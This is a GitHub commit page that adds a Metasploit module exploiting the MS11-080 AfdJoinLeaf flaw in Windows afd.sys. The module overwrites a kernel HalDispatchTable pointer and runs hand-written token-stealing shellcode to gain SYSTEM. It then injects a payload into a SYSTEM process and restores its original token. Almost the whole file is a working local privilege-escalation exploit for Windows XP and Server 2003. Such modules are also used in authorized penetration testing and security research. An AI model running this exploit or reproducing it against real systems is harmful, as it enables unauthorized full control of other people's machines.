Skip to content

Commit e39472f

Browse files
committed
Merge branch 'zeroSteiner-module-ms11-080'
2 parents a526e3d + e36507f commit e39472f

File tree

1 file changed

+326
-0
lines changed

1 file changed

+326
-0
lines changed
Lines changed: 326 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,326 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/priv'
12+
13+
class Metasploit3 < Msf::Exploit::Local
14+
Rank = AverageRanking
15+
# Average because this module relies on memory corruption within the
16+
# kernel, this is inherently dangerous. Also if the payload casues
17+
# the system process that it was injected into to die then it's also
18+
# possible that the system may become unstable.
19+
20+
include Msf::Post::Common
21+
include Msf::Post::Windows::Priv
22+
23+
def initialize(info={})
24+
super(update_info(info, {
25+
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
26+
'Description' => %q{
27+
This module exploits a flaw in the AfdJoinLeaf function of the
28+
afd.sys driver to overwrite data in kernel space. An address
29+
within the HalDispatchTable is overwritten and when triggered
30+
with a call to NtQueryIntervalProfile will execute shellcode.
31+
32+
This module will elevate itself to SYSTEM, then inject the payload
33+
into another SYSTEM process before restoring it's own token to
34+
avoid causing system instability.
35+
},
36+
'License' => MSF_LICENSE,
37+
'Author' =>
38+
[
39+
'Matteo Memelli', # original exploit and all the hard work
40+
'Spencer McIntyre' # MSF module
41+
],
42+
'Arch' => [ ARCH_X86 ],
43+
'Platform' => [ 'windows' ],
44+
'SessionTypes' => [ 'meterpreter' ],
45+
'DefaultOptions' =>
46+
{
47+
'EXITFUNC' => 'thread',
48+
},
49+
'Targets' =>
50+
[
51+
[ 'Automatic', { } ],
52+
53+
[ 'Windows XP SP2 / SP3',
54+
{
55+
'HaliQuerySystemInfo' => 0x16bba,
56+
'HalpSetSystemInformation' => 0x19436,
57+
'_KPROCESS' => "\x44",
58+
'_TOKEN' => "\xc8",
59+
'_UPID' => "\x84",
60+
'_APLINKS' => "\x88"
61+
}
62+
],
63+
64+
[ 'Windows Server 2003 SP2',
65+
{
66+
'HaliQuerySystemInfo' => 0x1fa1e,
67+
'HalpSetSystemInformation' => 0x21c60,
68+
'_KPROCESS' => "\x38",
69+
'_TOKEN' => "\xd8",
70+
'_UPID' => "\x94",
71+
'_APLINKS' => "\x98"
72+
}
73+
],
74+
],
75+
'References' =>
76+
[
77+
[ 'CVE', '2011-2005' ],
78+
[ 'MSB', 'MS11-080' ],
79+
[ 'EDB', 18176 ],
80+
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
81+
],
82+
'DisclosureDate'=> 'Nov 30 2011',
83+
'DefaultTarget' => 0
84+
}))
85+
86+
register_options([
87+
])
88+
89+
end
90+
91+
def find_sys_base(drvname)
92+
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
93+
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
94+
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
95+
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
96+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
97+
98+
addresses.each do |address|
99+
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
100+
current_drvname = results['lpBaseName'][0..results['return'] - 1]
101+
if drvname == nil
102+
if current_drvname.downcase.include?('krnl')
103+
return [address, current_drvname]
104+
end
105+
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
106+
return [address, current_drvname]
107+
end
108+
end
109+
end
110+
111+
# Function borrowed from smart_hashdump
112+
def get_system_proc
113+
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
114+
local_sys = resolve_sid("S-1-5-18")
115+
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
116+
117+
# Processes that can Blue Screen a host if migrated in to
118+
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
119+
session.sys.process.processes.each do |p|
120+
# Check we are not migrating to a process that can BSOD the host
121+
next if dangerous_processes.include?(p["name"])
122+
next if p["pid"] == session.sys.process.getpid
123+
next if p["pid"] == 4
124+
next if p["user"] != system_account_name
125+
return p
126+
end
127+
end
128+
129+
def exploit
130+
if sysinfo["Architecture"] =~ /wow64/i
131+
print_error("Running against WOW64 is not supported")
132+
return
133+
elsif sysinfo["Architectore"] =~ /x64/
134+
print_error("Running against 64-bit systems is not supported")
135+
return
136+
end
137+
138+
mytarget = target
139+
if mytarget.name =~ /Automatic/
140+
os = sysinfo["OS"]
141+
if os =~ /windows xp/i
142+
mytarget = targets[1]
143+
end
144+
if ((os =~ /2003/) and (os =~ /service pack 2/i))
145+
mytarget = targets[2]
146+
end
147+
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
148+
mytarget = targets[2]
149+
end
150+
151+
if mytarget.name =~ /Automatic/
152+
print_error("Could not identify the target system, it may not be supported")
153+
return
154+
end
155+
print_status("Running against #{mytarget.name}")
156+
end
157+
158+
if is_system?
159+
print_error("This meterpreter session is already running as SYSTEM")
160+
return
161+
end
162+
163+
this_proc = session.sys.process.open
164+
kernel_info = find_sys_base(nil)
165+
base_addr = 0x1001
166+
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
167+
168+
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
169+
socket = result['return']
170+
171+
irpstuff = rand_text_alpha(8)
172+
irpstuff << "\x00\x00\x00\x00"
173+
irpstuff << rand_text_alpha(4)
174+
irpstuff << "\x01\x00\x00\x00"
175+
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
176+
irpstuff << rand_text_alpha(231)
177+
178+
if not this_proc.memory.writable?(0x1000)
179+
session.railgun.add_function(
180+
'ntdll',
181+
'NtAllocateVirtualMemory',
182+
'DWORD',
183+
[
184+
["DWORD", "ProcessHandle", "in"],
185+
["PBLOB", "BaseAddress", "inout"],
186+
["PDWORD", "ZeroBits", "in"],
187+
["PBLOB", "RegionSize", "inout"],
188+
["DWORD", "AllocationType", "in"],
189+
["DWORD", "Protect", "in"]
190+
])
191+
192+
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
193+
end
194+
if not this_proc.memory.writable?(0x1000)
195+
print_error('Failed to properly allocate memory')
196+
return
197+
end
198+
this_proc.memory.write(0x1000, irpstuff)
199+
200+
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
201+
hKernel = hKernel['return']
202+
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
203+
halDispatchTable = halDispatchTable['return']
204+
halDispatchTable -= hKernel
205+
halDispatchTable += kernel_info[0]
206+
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
207+
208+
halbase = find_sys_base("hal.dll")[0]
209+
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
210+
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
211+
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
212+
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
213+
214+
#### Exploitation ####
215+
shellcode_address_dep = 0x0002071e
216+
shellcode_address_nodep = 0x000207b8
217+
padding = make_nops(2)
218+
halDispatchTable0x4 = halDispatchTable + 0x4
219+
halDispatchTable0x8 = halDispatchTable + 0x8
220+
221+
restore_ptrs = "\x31\xc0"
222+
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
223+
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
224+
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
225+
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
226+
227+
tokenstealing = "\x52"
228+
tokenstealing << "\x53"
229+
tokenstealing << "\x33\xc0"
230+
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
231+
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
232+
tokenstealing << "\x8b\xc8"
233+
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
234+
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
235+
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
236+
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
237+
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
238+
tokenstealing << "\x75\xe8"
239+
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
240+
tokenstealing << "\x8b\xc1"
241+
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
242+
tokenstealing << "\x5b"
243+
tokenstealing << "\x5a"
244+
tokenstealing << "\xc2\x10"
245+
246+
restore_token = "\x52"
247+
restore_token << "\x33\xc0"
248+
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
249+
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
250+
restore_token << "\x8b\x15\x00\x09\x02\x00"
251+
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
252+
restore_token << "\x5a"
253+
restore_token << "\xc2\x10"
254+
255+
shellcode = padding + restore_ptrs + tokenstealing
256+
257+
this_proc.memory.write(shellcode_address_dep, shellcode)
258+
this_proc.memory.write(shellcode_address_nodep, shellcode)
259+
this_proc.memory.protect(0x00020000)
260+
261+
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
262+
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
263+
if result['return'] != 0xffffffff
264+
print_error("The socket is not in the correct state")
265+
return
266+
end
267+
268+
session.railgun.add_function(
269+
'ntdll',
270+
'NtDeviceIoControlFile',
271+
'DWORD',
272+
[
273+
[ "DWORD", "FileHandle", "in" ],
274+
[ "DWORD", "Event", "in" ],
275+
[ "DWORD", "ApcRoutine", "in" ],
276+
[ "DWORD", "ApcContext", "in" ],
277+
[ "PDWORD", "IoStatusBlock", "out" ],
278+
[ "DWORD", "IoControlCode", "in" ],
279+
[ "LPVOID", "InputBuffer", "in" ],
280+
[ "DWORD", "InputBufferLength", "in" ],
281+
[ "LPVOID", "OutputBuffer", "in" ],
282+
[ "DWORD", "OutPutBufferLength", "in" ]
283+
])
284+
285+
session.railgun.add_function(
286+
'ntdll',
287+
'NtQueryIntervalProfile',
288+
'DWORD',
289+
[
290+
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
291+
])
292+
293+
print_status("Triggering AFDJoinLeaf pointer overwrite...")
294+
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
295+
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
296+
297+
if not is_system?
298+
print_error("Exploit failed")
299+
return
300+
end
301+
302+
begin
303+
proc = get_system_proc
304+
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
305+
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
306+
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
307+
308+
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
309+
host_process.memory.write(mem, payload.encoded)
310+
host_process.thread.create(mem, 0)
311+
rescue ::Exception => e
312+
print_error("Failed to Inject Payload")
313+
print_error(e.to_s)
314+
end
315+
316+
# Restore the token because apparently BSODs are frowned upon
317+
print_status("Restoring the original token...")
318+
shellcode = padding + restore_ptrs + restore_token
319+
this_proc.memory.write(shellcode_address_dep, shellcode)
320+
this_proc.memory.write(shellcode_address_nodep, shellcode)
321+
322+
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
323+
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
324+
end
325+
326+
end

0 commit comments

Comments
 (0)